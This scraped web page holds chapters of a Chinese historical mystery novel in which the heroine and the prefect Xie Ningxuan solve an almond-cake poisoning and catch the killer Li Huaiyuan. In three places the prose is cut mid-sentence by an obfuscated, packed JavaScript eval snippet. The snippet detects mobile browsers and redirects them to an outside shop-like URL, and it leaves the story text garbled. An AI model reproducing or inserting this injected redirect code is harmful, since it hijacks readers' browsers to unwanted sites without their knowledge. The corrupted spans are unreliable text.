如发现了惊世大瓜,韩桂激动的声线都拔高了。但不过几秒,他突然意识到了当下的环境,亦察觉自己话多了,连忙扭转话题,极其生硬。 “啊……那个,卑职说啥来着?那个,啊,吃饭,吃饭!王小姐,这是厨房做的,你快尝尝凉了没?送晚了,晚了不是?嗨,是那阳远郡主找到了我们头儿,哎呦,大闹一场叫嚷要见大人,大人偏巧又没来。动静之大,路过的李府下人吓得摔了几个食盒,这才送晚了。” 我的思绪从深海中抽离几许,还带着些茫然:“阳远郡主……什么?” “她非说林二小姐前天晚上出去见的人是自己,但又答不上头儿问的问题,在哪,几时,都不晓得。最后哑口无言,愤愤而去呢。” 什么,阳远郡主作证? 答不上问题……那显然林二小姐见的根本不是她。可是郡主居然愿意为了林二小姐作伪证?她们到底什么关系啊,仅仅是表姐妹吗? 我感到我的大脑里,有一条鱼在游来游去,滑腻腻的,我怎么也捉不到。 刚刚,就在刚刚,我明明想到了什么。是什么?彷佛就在金宝鸯离开之前…… “王小姐,怎么了呀?”紧张于说错话与否的韩桂小心翼翼地打量着我,目光最终落在我的脚上,“诶,王小姐你的鞋湿了啊!不难受吗?这天儿还没入夏,脚要是受凉了……” 我的目光机械的追随着他的动作,耳旁风呼呼,脑袋迟钝的运行着。 鞋,鞋? 绣花鞋面上正有一朵芍药开的灿烂,粉色花朵被茶水洇开,呈现出异样的红色。 鱼游到了网中。我乍然意识到一件事,一件被我误解了的事。 鞋子,泥土。被水浸湿的鞋面上,竟是红色。 鞋面,鞋面!啊!竟然是他! “哎哎哎!王小姐你去哪儿?还没吃饭呐!王小姐!” 我来不及交代半个字,一口气疾奔跑出李府大门,却喘着粗气撑着腿骂娘。我忘了问御青王府怎么走了!还有,没有马车,我难道要跑去吗? 正犹疑着,远处传来疾驰的马蹄声,我回头一看,竟然是谢宁轩。 他一路朝我驾来,临近亦未放慢速度,到我身边猛的一拽我的胳膊,我只觉胳膊一疼天旋地转,再一转过神来竟已在他怀中。马依旧速度飞快。 虽说刚才那几下子有点谍战片的感觉,但是共乘一匹算怎么回事?还有,骑这么快干什么,我的屁股要颠成八瓣了! 我难耐的挪动身子,只听谢宁轩在身后啧啧两声,扣住我的手松了松,速度也慢了下来。 御青王府就在京中,没跑多会儿,谢宁轩狠狠一拽,马前蹄高高翘了起来。我紧张地腿肚子都发颤,生怕要掉下去。 待马稳下,谢宁轩一个跃步便跳下了马,然后圈着我的腰将我抱下来,没好气的丢下一句“以后在马上老实点,不许乱动!”便上前叩门。 少顷,御青王府门开,来人急忙行礼:“小的叩见府丞大人。大人怎么这会儿过来了?我们王爷还没回来。” 谢宁轩略一挥手:“我收到消息,你家王爷应该是今晚回京,这会已经亥时了,怎么还没到?” 又是一阵马蹄声打断了仆人的回话。洋洋洒洒的灰尘中,马声嘶昂,三殿下和几个将领骑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306729|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马出现在街道中。眨眼间,马行至府门口,三殿下挑了挑眉:“你怎么这会儿过来了?案子查的怎么样了?” 谢宁轩没说话,只是看了后面的将领们一眼。三殿下也没再问,挥手打发了将领们,随后便进入了王府,我和谢宁轩跟在身后。 到了正殿,三殿下还没走到主位上,谢宁轩已经毫不客气的坐下,开口便是:“你可知邱子昂也被害了? “什么?邱子昂?他也被人杀了?”三殿下一惊,旋即就问,“姝儿知道了吗?” 姝儿? 郡主竟然和原主同名? 谢宁轩眯了眯眼,似乎有些意外。我却意识到原来我没有猜错。 “阳远是否知晓,我还不知道。不过,邱子昂和林虹玉都是被同一个凶手杀的,我们已经抓住凶手了。” 三殿下拍了拍手上的灰尘,飞快地扫了我一眼。 “案子才发生两天,宁轩,速度够快啊。那恭喜你,可以交差了。不过有必要这么晚专程来一趟告知我吗?” 谢宁轩塌下肩膀,浑身透着松弛感,只淡淡道:“凶手是林二小姐。” “什么?你胡说!” 三殿下猛地跳起身,周身笼罩起厚厚一层冰凌,寒气渗人。 谢宁轩懒懒靠在椅背上,只冲着我的方向抬了抬下巴,三殿下立刻朝我射来怒火:“是你查的吗?你怎么查案的,霜玉怎么可能杀人!” …… 在心里默默诅咒谢宁轩几句,我站了起来:“目前林虹玉和邱子昂的死,只有林二小姐有嫌疑。动机明确,没有不在场证明,且有证据。” “胡说,霜玉和邱子昂能有什么交集?” 我只见过三殿下几次,他总是一副冷若冰霜、拒人于千里之外的模样。没想到也有这般急躁的神情,果然是爱情的力量。 看来我之前的担忧是完全多余了,林二小姐这下有救了。 我稍感松快,语速却不停:“且不说邱子昂之死。单说林虹玉,她中了砒霜身亡,经查证,含毒杏仁糕应该是在比赛前夜有人给她的。那晚有一个时辰没有人知道她去了哪里。偏偏林二小姐同时也不知道身在何处,还谎称自己并没有出门。我们调查了,她的确没有不在场……” “谁说她没有时间证人?”三殿下打断了我。 “哦?殿下的意思是?” “她那晚见过的人是本王。”三殿下直接承认了,同时松了口气,坐了下来。 “殿下可确定?” “那晚是我约她在李府的枫叶园见面,大概是戌时两刻,正好是晚宴的时候,没有人会注意到我们见面。到亥时两刻差不多,她才离开。” “殿下这么确定?时辰都记得清楚?” 三殿下直直看着我,眼神中没有一点波澜。 “我要娶霜玉,可是媒人误解了我的意思,求娶了林虹玉。我亲自去解释,非但没有成功,还使得霜玉的处境更加悲惨。你们既然查到这一步,应该知道林府多么过分。霜玉自小有病根本经不起这样折腾,这些年若不是姝儿时不时送去草药和用具,时不时拿郡主的身份压一压那位大小姐,霜玉早就死了。” 难怪,阳远郡主会如此呵护她、重视她,宁愿作伪证也要保下她。 “霜玉心好,总是顾及她姐姐。求亲失败,她气恼我伤了她姐姐的心,也不愿见我了,甚至连姝儿送去的东西都原模原样还了回来。我心里着急,偏又奉旨去剿匪,回京后我听说林府同意她来观赛,于是我就早早传了消息过去,以杀她姐姐为要挟,逼她出来见我。” “杀她姐姐?” 39.黏土 三殿下波澜不惊:“她姐姐那样的人根本不配活着,这次死了实在是天意。不过我并没有动手,我若是要杀她,还需要下毒?” 轻蔑的语气明白的展示出三殿下对林虹玉的鄙夷和唾弃。他说的没错,以他的身份地位,对付林虹玉,何须杀人这么麻烦。 “那晚我们约好了时辰见面,谈完之后,我就要送她回去,她怎么也不答应,就是不让我送。我没办法,便一直跟在她身后,直到看着她进了宁闻阁才离开,那时差不多是亥时三刻。我可以证明霜玉那晚并没有时间去见她姐姐。” 我想到两枚杏仁糕的去向,便问:“林二小姐可带给殿下什么东西?” “她亲手做的杏仁糕,给我带了两块,她知道我一向喜欢甜食。” 果然是这样。那杏仁糕并不是林二小姐自己吃的。 “殿下,此事事关重大,又因林虹玉死的时候有皇妃在场,如今除非殿下您亲自去证明,否则还是不能还她清白。”我伸手止住三殿下欲说话的苗头,“可殿下既知道她家中的情况,还是莫要雪上加霜了。” 三殿下眼神一黯:“那应该怎么办?” “或许要请郡主出马。”我简单一句,三殿下便明白了,点点头算是应了。 如今只有让郡主当林二小姐的不在场证人了。郡主身份高贵,只要和三殿下沟通完整,就算到了圣上面前也不会穿帮。 当然,这也得京城府丞配合才行。不过看谢宁轩那好整以暇交叠着腿的悠闲姿势,就知道,他肯定早就胸有成竹了。 *** “你怎么刚好出现在李府门口?我才刚想通与林二小姐见面的人是三殿下,你怎么就到了?”一出御青王府,我便耐不住问道。 谢宁轩牵马走在我身侧,不答反问:“你又怎么发现的?” “也是泥土告诉我的。” 今天与金宝鸯的对话,没头没尾,却实在帮了我大忙。因为我慌乱中,将茶水滴到了鞋面,这才注意到,本应粉色的芍药花鞋面上,竟粘着一层薄薄的红色黏土。 可我未曾踏入枫叶园啊,哪来的黏土? 我这才想起来,自我来到李府,只有一个人碰过我的鞋面。那就是看比赛时,三殿下不小心踩了我一脚。 而比赛时,他的鞋底还粘着红土,只能说明他才去过枫叶园不久。 同时我意识到,林二小姐宁愿自己背黑锅也不愿说出见面的人,只有两种可能。一是她必须要维护这个人,二是她去见这个人已经是不应该的。两种可能性一结合,就说明林二小姐去见的人就是那个意欲求亲的男子。 阳远郡主和林二小姐的感情甚好,可是关系到谋杀案,死者到底也是表妹,郡主竟要替林二小姐作伪证,这太蹊跷了。 我不禁怀疑,她这么维护林二小姐,恐怕不单单是亲情、友情的关系。也许郡主知道林二小姐那晚见的人是谁,但是为了彼此的名声又不能说出来,只好冒险亲做伪证。那这个人是谁?不难猜到,便是郡主的哥哥。 何况,在林二小姐房中,郡主还曾没头没尾说过一句“宁轩哥你知道的”。看谢宁轩的表现,他分明与林家姐妹毫无交集,那这话何来?当时我还以为是谢宁轩身为府丞大名鼎鼎,郡主以此安慰林二小姐。 但等我串起线头,我这才明白,郡主其实在向她暗示,宁轩哥是她心上人的好朋友,她可以信任,可以放心。 除了上述点滴,我还想通了一个最为关键的细节。 林虹玉曾说过,妹妹的杏仁糕不如她吃过的手艺。现在我们推测,这“手艺”便来源自夜宴当晚。也即,当晚,她已经吃过杏仁糕,比赛那日她嘴里也含了一块,这就已经两块了。邱子昂也是吃了含有砒霜的杏仁糕中毒的,那这就是第三块。所以其实林二小姐处,根本就不够下毒的食物。 谢宁轩弯了弯嘴角:“细节见真章,厉害。” 洗脱了林二小姐的嫌疑,又解决了一直闷在心口想不通的问题,我也难免有些自得。但心头荡漾转瞬而逝,我意识到,谢宁轩也理清了。否则他拉我上马之后怎么会直奔御青王府,还说已打听到三殿下的归期。 谢宁轩轻笑一声:“我也是才明白而已。” “那你又是怎么发现的?” 谢宁轩摇头晃脑,故意卖关子,看我心痒到抓耳挠腮,才肯说道:“其实,是你提醒了我。” “我?” “对,你说这府邸是新修的,两个闺阁少女怎么知道布局。这不禁让我想起,李府整修大赛会场是报给了宫中的。而圣上曾派了一个人过来巡查建设情况,那就是三殿下。其次,我之前听他抱怨过,说他近来出了岔子,连累他的心上人被指指点点。当时说话被人打断,话题没有进行下去。但我也知道,他这个心上人身体不太好。结合林家打听到的提亲一事,稍稍联想,我就猜到林二小姐当晚见的,应该就是这个也在她心上、却又不得不为了姐姐而拒绝的人。既有不在场证明,那她自然不可能是凶手了。” “啊,所以我提出林二小姐维护别人的时候,你才会露出若有所思的表情。那时候,你已经想到是三殿下了?” “算是吧,我与三殿下自小的交情了。但以前,我们甚少谈及情事,因此我未能及时察觉。心中有了猜想,但未经调查实在不便告知你,免得误了他二人的名声。”谢宁轩也不隐瞒,还朝我抱歉的点点头。 这个问题解开,其他疑问多少也得到了答案。比如,林虹玉为什么回房后会骂了林二小姐。结合她脚底沾有的红土,可知当晚她一定经过了枫叶园。就在那时看到了妹妹和三殿下见面,愤恨难耐,才会回来骂人。 “所以林虹玉那晚的情绪中,不高兴的一面有了解释,可是高兴的原因呢?是见到什么人或者想起什么事了呢?”谢宁轩接过我的话,提出问题。 我不由也沉思起来,这一点我也想不明白。 但这时,我又想到了另一个问题。 “诶,不对呀。既然你都发现了,刚才干嘛还让我说?我要是得罪了三殿下怎么办?” “放心吧,三殿下为人正直,是个放心依靠的朋友。若不是案发那日中午,圣上急派他去南都传旨,耽搁了这两日功夫,他要是一早知道林二小姐被怀疑,肯定第一时间就跳出来维护了。既然你替他心上人洗清了冤屈,又维护了她的名声,三殿下一定会感谢你的。”谢宁轩眼风扫来,“像你这么粗鲁莽撞的姑娘,日后指不定闯出什么幺蛾子来。有三殿下肯不时帮帮你,总不会让你脑袋掉地。” …… 话不好听,我也知道谢宁轩是好意,便投桃效李提示他:“你之前对林二小姐可够凶残的,小心三殿下责怪你。” 谢宁轩一哂,毫不在意:“不知者无罪,谁让他没告诉我心上人的名字?再说了,严格盘查,洗清冤屈,只怕他还得请我顿酒呢。” 好吧,人家是御青王,你也是宗室子弟,谁也不比谁高贵太多。我一个小老百姓,倒瞎操个什么心。 “对了,你不是已经入宫禀告案情去了吗?之后推翻之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321662|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的说辞,圣上不会怪你吗?” 谢宁轩语气轻飘飘:“皇宫是催得紧。不过对于之前的猜测,我心里总有怀疑,见圣上时,我便瞒了一些没说。之后查清了真凶也不耽误什么。” 果然是皇亲国戚,这脑袋镶的就是比我们牢固。 可是这么一来,凶手还是无影踪啊。林虹玉那晚到底见过谁?谁给了她毒杏仁糕?邱子昂遇害的真相又是什么? 谢宁轩亦沉吟片刻:“羽书,我们不妨就现在掌握的情况重新推断。凶手既然在枫叶园完成了将毒杏仁糕给林虹玉的任务,就应该马上走。邱子昂死亡的现场却又在一旁的湖边,这似乎说明凶手是接连给出的毒物,差别无非是一个带走了,一个当场吃了。可是林虹玉回到湘水落的时间是亥正,邱子昂最后被人看到的时间是亥时,难道邱子昂独自走了那么久才转到枫叶园附近?” 是啊,这个时间怪怪的。 我心里像被抓着挠着,明明有道光在脑中闪过,可我就是抓不到。 我只好沉下心,开口整理思路:“邱子昂在亥时之后,就被人目睹走向湖边,可是那时候,三殿下和林二小姐在枫叶园里啊。按照我们的推测,林虹玉也看到了妹妹的约会,那么,作为亥时才退席的佳丽,她只可能在亥时至亥时两刻之间看到妹妹,再算算她从正殿走到枫叶园的时间,总要比邱子昂慢吧。可是凶手是给了她毒杏仁糕后才碰见邱子昂的,那邱子昂就得在湖边呆好一会儿,呆着干嘛呢?三殿下可完全没提过湖边有人啊。” “是,那晚还没有开始比赛,男宾几乎都在晚宴过后就离开,邱子昂又为什么不走?” 等等,等等…… 谢宁轩刚说什么?凶手是接连给出的毒杏仁糕…… 我的大脑忽然像被敲了一下,眼前一道白光,思路乍然清晰了起来。 与此同时,我身旁的谢宁轩忽然拍了下手,与我同时叫了起来。 “顺序错了!” “目标错了!” 我瞪向谢宁轩,大脑高速转着,亦清晰的意识到,眼前这个男人和我再一次同频了。 谢宁轩先反应过来,笑道:“羽书先说吧。” “好,”我也不客气,“林二小姐的出现是个意外,她和三殿下约在枫叶园相会。林虹玉信步走到附近,刚巧也看见了,因此很生气。为了不让他们发现,给自己一些体面,她肯定看一眼就会走,绝不会停留。而枫叶园走向湘水落那侧的路靠近园林,很容易让园中的人看见路上的情况,要避开妹妹和三殿下,林虹玉只能选择走回相反的方向,不正是发现邱子昂的湖边吗?林虹玉肯定是走到那里,刚好遇到了刚杀完人的凶手,凶手怀疑林虹玉看到了什么,于是花言巧语迷惑了她,才让她把有毒的杏仁糕包在帕子里珍惜的放入怀中!对,没错!这样也能解释林虹玉莫名奇妙的高兴,恐怕凶手是个玉树临风的男子,才会让林虹玉误以为自己找到了有情郎!” 我兴致高昂的推断完,才发现谢宁轩一直静静的看着我。深邃墨黑的眸子离,有盈盈的光芒在闪烁,像宝石一样。 “羽书当真聪慧。”谢宁轩垂下眼帘,接着讲,“确实,你说到了关窍之处。因为先发现林虹玉,后发现邱子昂,我们便陷入了先入为主的陷阱,总以为凶手杀林虹玉是预谋,而杀邱子昂则为灭口。事实上,我们将杀人顺序和目标都搞错了,一直以来的方向亦搞错了。按照死亡时间和两名死者被目睹的最后时间推算,邱子昂才应该是凶手的目标,而林虹玉则是那个无辜被杀的人。” 40.说亲 为了不打草惊蛇,谢宁轩未对外公布案件进展,依旧将林二小姐暂扣在闺阁中。出于谨慎,还请李怀远将府内小厮分成数组,不时巡逻在宁闻阁附近,保护林二小姐安危。 李怀远听到凶手还没落网,哀叹连连,直呼倒霉。听说他已经被通知,本届绣花大赛就到此为止,不再重启了。花费巨资装修的园林就要归于落寞,真是遗憾。 除了李怀远以外,郡主也被告知了详情,总算松了口气。 不过除了他二人,李府众人仍不明就里。因着案件未查清,那些并没有明确不在场证明的观赛小姐们,仍被要求留宿李府。这两日,没少传出她们的抱怨声。而当林二小姐被怀疑的消息不胫而走,李府更是到处充斥着对她的谩骂和侮辱之词,令人非常恼火。 偏偏我们又不能解释什么,每当询问起关于邱子昂的事宜时,面对的问题总是被“还调查什么,不是查清楚了吗?怎么还不放我们走?”“那等毒妇会被斩首的吧?”“哇,谢府丞这么快就破案了,好厉害呢,谢府丞可成亲了?妾身有一表妹着实和大人很相配,唉大人别走啊,大人!”围绕。 谢宁轩习以为常,面对闺阁小姐的脸红心跳是毫无反应,对待官员女眷的殷勤做媒是冷淡走人。 我跟在他身后,心想得亏韩桂将金宝鸯执意留下的消息告诉了他,他请了郡主出马,总算劝得金宝鸯回了府,否则现在她看见我们一起调查,不知道会不会又要多想? 不过说起来也很奇怪,此番调查中,不少女眷对我的出现都感到奇怪,时有询问。显然这封建的大青朝,的确没有女子入仕的先例。 然而谢宁轩却毫不顾忌,从不解释,也坚持邀我同行。遇到耐人寻味的线索,也每每示意我大胆发问。 难道他不怕被言官参奏带外人参与查案? 我琢磨不透,深感迷惑,想着有机会一定要搞搞清楚。没想到当日下午,就被我逮到一个机会。 当时正是一位上了年纪的命妇接受询问,在看到谢宁轩身后跟着个姑娘时,突然露出了意味深长的笑,祥和的说:“我与王妃约好了明日小坐,瞧这架势,我恐怕又是白跑一趟了。” 谢宁轩面色不变,只拱手回复,不卑不亢:“夫人抬爱了。晚辈出府前听到母妃安排下人煮您爱喝的茶,只去小坐,母妃都会高兴的,她向来喜欢与您叙话。” 意义不明的对话后,谢宁轩便将话题主导至案件相关,只在最后结束时,命妇又提了一句:“四年前的奏本,宁轩,你忘了圣上的话吗?莫要重蹈覆辙了。当日令尊令堂极其忧心,都怕你…… ” 话没说完,谢宁轩倏地打断,语调也冷了下来。“不劳夫人操心,晚辈自有分寸。告辞。” 说罢,他没有等对方的回答,径直推门出去了。我感到氛围不太对,也赶忙跟上,耳旁似有风吹来的浅浅叹息声。 谢宁轩大步流星走在最前,身后是亦步亦趋的浮生。唯有韩桂走在我身侧,低头咬唇。我一看就知这家伙和我一样,八卦热爱分子,索性凑近了问:“刚才那夫人说的两年前,奏本什么的,是什么意思啊?” 韩桂觑了眼前方,静默不答。 怎么了,又是秘密啊? 我叹口气,又问旁的:“那她刚说‘又白跑一趟’是什么意思?” 这次韩桂没有偷看领导背影,反而是古怪的瞧了我一眼,低声道:“这个嘛,卑职估计和金小姐有关。” 我惊了:“金宝鸯?和她有关?什么意思啊?” 然而韩桂没有回答,反而惊惧的低下了头。余光扫到一片衣角,我抬头一瞧,竟是谢宁轩又走了回来。 登时,背后说人坏话被抓包的尴尬感弥漫至全身,我吓得差点跳脚。 “啊,那个……你咋又绕回来了?啥、啥忘拿了吗?” 谢宁轩没有说话,朝韩桂扬了扬手,后者像只躲猫猫的老鼠,蹿的飞快。 眼看一众衙差都退到了远处,谢宁轩反而离我很近,我再次紧张的呼吸紊乱。 “你问韩桂,不如直接问我。”谢宁轩开口了,他低头盯着我,眸中映出了我慌乱到面红耳赤的倒影。“侍郎夫人会再次白跑一趟,是因她之前已经白来过两回——说亲。” 如被雷击,我僵在了当下。 “母妃拒了,是我的意思。”小溪蜿蜒般浅醒的声音,说不上来是不是蛊惑。 雷把脑子劈坏了,我傻呆呆的看着他,说不出一个字来。 万幸的是,这时,从一旁的盲区小路中,突然绕出来俩丫鬟。说说笑笑,一抬眼就看见府丞大人正倾身30度角,戏谑的盯着一个姑娘,吓得差点跪地。 彷佛从水盆中拔出脑袋,我找回了呼吸,忙跳到三步外飞快地调整心跳。 两个丫鬟也不敢多看也不敢多说,行完礼就赶紧跑路。但我慌张中乱瞥,却忽地心念一动,脱口而出:“诶!等一下!两位小姐姐,我是不是见过你们?” 两个丫鬟茫然的看向我。是谢宁轩蹙眉答道:“是见过,上回我们在花园中,碰见过。” 啊,是!案发那日遇到过。当时她俩说什么来着?一组对话,不经意的、没被我放在心上的对话,赫然出现在我脑海。 我猛然意识到,有些问题被我忽略了。 脑中绮丽消散,萦绕着的唯剩案件,我立时重复了一遍她们之前说过的话,追问道:“你们说见过阳远郡主,是什么时候?” 两个小丫鬟不明所以,怯怯回答:“就、就是比赛前一天啊。” “她身边有个人,是不是?你们看清是谁了吗?” 小丫鬟骇然:“就、就是死掉的那邱六少爷。” 果然! 谢宁轩脸色亦是微变,肃然问:“在哪看见的?” “水漾桥,水漾桥附近。” “奴婢们那天晚饭过后去小西门取新送来的皂角,看见阳远郡主和邱六少爷有说有笑,朝水漾桥走去。阳远郡主还捧着一个食盒,奴婢、奴婢们偶然听见一句,”丫鬟畏惧的看了谢宁轩一眼,见他没有斥责,才继续说道,“郡主说那是她亲手做的杏仁糕点,不知道邱六少爷喜不喜欢。” 什么?郡主做的也是杏仁糕?又见杏仁?难道…… 我心中一紧,赶紧催问:“那时大概什么时辰?” 俩丫鬟对望,想了想:“大概、大概戌正三刻吧。对,没错,送皂角的和管事婆子约的是亥时,奴婢还记得大少爷过来巡查的时候,吩咐我们千万不要误了时辰,奴婢们才提早出发的。走了没两步就看到郡主和邱六少爷了。” 浣衣房紧邻水漾桥,走过水漾桥,中间那条路便是通往枫叶园的。这么巧郡主竟和邱子昂在戌正三刻出现在案发现场附近?又这么巧郡主竟然也端着一盒杏仁糕? 心中激荡,我尽力压着自己:“之后呢?之后你们见到什么了?” 小丫鬟们为难的摇摇头:“奴婢们朝小西门走去了,和郡主他们的方向不一致,就不知道了。等奴婢们回来的时候,什么也没有看见了。” 唔,线索就这么断了? 我不甘心,身旁的谢宁轩也露出了意犹未尽的表情。 得,还是让我先捋捋吧。 邱子昂与郡主出现在水漾桥的时间是戌正三刻。而最后一个看见邱子昂的人说那时是亥时,未提及郡主,说明当时郡主已经离开。 郡主也带着一盒杏仁糕,难道是郡主有意毒杀邱子昂,在这时候给了后者有毒的杏仁糕,随后离去,邱子昂亥时过后服用了杏仁糕毒发身亡。而刚巧郡主又碰到了林虹玉,索性也给了她杏仁糕? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338365|136592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对,不是这样。 以郡主和邱子昂的郎情妾意,郡主请邱子昂尝尝手艺,邱子昂不会不当即吃下。一般人吃杏仁糕,谁会含着等它化掉呢,肯定是塞嘴里就咀嚼了。那么夹心含有砒霜的杏仁糕,嚼两下就得即刻毒发,根本没有邱子昂独自行走被人看到的机会。 何况,邱子昂被人沉尸了啊。 还有林虹玉,郡主既然亥时已不在邱子昂身边,说明她已经把杏仁糕给了邱子昂,那么有什么理由又折回来毒杀林虹玉呢?难道是埋伏在一旁等着沉尸?又或者说,林虹玉并没有见到郡主毒杀邱子昂的过程,只是看到郡主和邱子昂在一起,又看到郡主递给邱子昂吃食,便被灭口? 不,不对,太牵强了。 枫叶园虽然偏远,可是郡主和邱子昂经过的水漾桥却是挺热闹的地方,小丫鬟明明看见他们大模大样的走过,那从正殿过来一路,更有不知多少人看见,那么郡主就没有必要灭口林虹玉。 何况,就算郡主身份高贵,只怕林虹玉也不会对她送来的糕点那么珍爱,亦不会为了她出现反复的情绪。 我正沉思着,谢宁轩拍了拍我的肩膀,语气很肯定:“不会是阳远。” 我能想通的事,谢宁轩自然也能,所以两个小丫鬟提供的线索,好像也没什么用了啊,毕竟郡主和邱子昂共行,也不是什么秘闻。 但真的太巧合了吧,怎么大家都爱做杏仁糕?唔,莫不是郡主看到林二小姐的杏仁糕俘获了哥哥的心,这才有学有样?嗨,搞了半天,郡主和邱子昂明明就有情愫飘荡嘛,那李怀远居然认为二人只有兄妹之情,真是眼拙。 沉思中,我和谢宁轩又漫步到了发现尸体的湖边。 阳光洒下,浮光跃金,根本看不出曾有人沉尸其中。眼前浮现出打捞的时候,李怀远那哭丧着的脸,我不由叹了口气。 但也就在这一刻,我猛然想到了一处细节——簪子。 谢宁轩再一次与我同频,他扭头看我,眼中是浓郁的疑思。 “羽书,你可还记得,这湖中不仅打捞出尸体,还打捞了个簪子。但林二小姐明明没有杀人,为什么她的簪子掉到了湖里?” 是啊,三殿下一路护送她回到宁闻阁,可没提她簪子掉落的事啊,难道是去程太紧张,不慎掉落? 说起这个簪子,我始终觉得眼熟啊,我明明在哪里…… 等一下,等一下,我想起来了! 这簪子我明明在林二小姐房中见到过啊! 心下一沉。我赫然忆起,我们初到林二小姐房中盘问时,我因心下不忍,曾盯着她的梳妆台以避开她的目光。那时候梳妆台上放着一支翡翠蝴蝶的银簪。 对,是它!那蝴蝶翻飞的姿态一模一样! 那这么说,这簪子就不可能是林二小姐那晚经过时不慎丢下的,它明明案发后还出现过。那它为什么…… 等等,簪子……天哪! 我周身一颤,一把抓住谢宁轩的胳膊:“快,快找郡主!簪子,簪子在房中!” 谢宁轩也猛的怔住,露出了空洞又骇然的表情。不过数秒,谢宁轩拉住我的手就开始疾奔。 桃花畔位于正殿和湘水落之间的丛林深处,是专为请来的宗室们居住的场所,很是典雅。此刻我们也没心思欣赏李府建园的用心了,抓住门外的小厮就疾声问:“郡主!阳远郡主住在哪一间?” 小厮被严厉的谢宁轩吓得不轻,话都说不利索。 就在这个当口,里面乍然传来杯盏落地的声音,郡主哭泣的声音响起,短促、嘶哑:“救!救命!” 谢宁轩拔腿疾奔,快的如一只迅捷的豹。及至门前一脚踹开,只见郡主倒在地上,旁边落着一张满满小字的白纸,她的玉颈上围着一圈白绫,此刻已经泛青。 41.解密 谢宁轩冲进房中,上去就是一拳,正中郡主身后那张穷凶极恶的脸,后者跌出两米之远,哪还有半分儒雅和善的模样? 此刻他被突然袭击,手中白绫松懈,我这才得以大力撕开,救下郡主。 那人还不罢休,竟还扑上前与谢宁轩厮打,好在浮生韩桂亦跟着赶来了,一举将其拿下。。 因着郡主受惊严重,几近昏迷,我们忙着将她抱上床,又是传太医,直到三殿下闻讯赶来,她苏醒后,才正式开始了审讯。 三殿下将妹妹搂在怀中,脸色阴沉的能滴出水,劈头盖脸的骂:“到底是什么人,竟然连本王的妹妹都敢动!” 接收到上司眼神示意的浮生,这才将披头散发的的真凶——李府大少爷李怀远推了上来。他软软倒在地上,再不复刚才的阴狠凶恶。 这一幕出乎了三殿下预料,不由身子一僵。郡主更是放声大哭,不多时便染满了哥哥的衣襟。 “李怀远,你怕是早就对邱子昂怀恨在心了吧。此次杀了邱子昂是如愿以偿,只是为何还要连累林虹玉?更是丧心病狂,连阳远都想杀害?”谢宁轩厉声喝问。 李怀远盯上郡主,露出怨毒的表情,冷笑一声:“哼!若不是你总示好于邱子昂,我何必去杀他!林虹玉?那是她倒霉,我都要放过她了,谁知她自己作死!还死在赛场,白白给我引来这么多麻烦!” “你,你,你不是和子昂哥……”郡主哭的不能自已。 李怀远冷笑两声:“若不是为了你,我能与他交好?他那么浅薄张狂,自以为是,我根本看不上他!我也没想到,你、你竟然会看上那个绣花枕头!” “你胡说,他根本不是那样的人!”郡主攀住哥哥的胳膊,眼泪肆虐,“哥哥,哥哥……” 三殿下轻拍着妹妹的后背,脸色如冰:“你竟然对姝儿有这种念想,亏得我把你当作挚友,亏得姝儿当你是好兄长!” “呸!谁要当她哥哥!”李怀远愤愤挣扎,若非杨捕头狠狠按住,都要跳起来了,“你敢说,你敢说,我对她的殷切与关注,你全然不知情?” “真是可笑!”三殿下皱了皱眉,但说辞明显不够强硬。 李怀远露出得意、阴骛的笑,他知道,三殿下对妹妹如珠如宝,若自己真能得到郡主的心,三殿下又与自己多年好友,定会愿意在御前争取,恩典即成。 可,爱情从来不讲道理,更何况先来后到? 李怀远认识郡主多年,爱慕之心也存了多年,可邱子昂不过才和郡主结识,却就轻易入到了郡主的青眼。 李怀远很恨,但没有办法,为了知己知彼,他还假意和邱子昂交好。没想到,此举却令郡主以为他也看好邱子昂和自己的爱情,还暗戳戳想让他在哥哥面前说说好话,更是引得李怀远火冒三丈。 但好在,邱子昂一直未得到三殿下的认可,所以这场爱情的角逐,李怀远还不算输。 直到这次绣花大赛。 “为了让你高兴,我只得忍着不快也邀请了他,可你倒好,你就整天围着他转,你矜持一点行不行!对着我,就一口一个哥,谁要做你的哥哥?尤其,尤其,”李怀远捏起拳头,咬牙切齿,“你竟然还亲自下厨,为他做杏仁糕!我怎么能容他横在我们中间,如此碍眼!” “你疯了吗?在自家举办的绣花大赛上动手?李家几代清誉都不要了?”谢宁轩喝道。 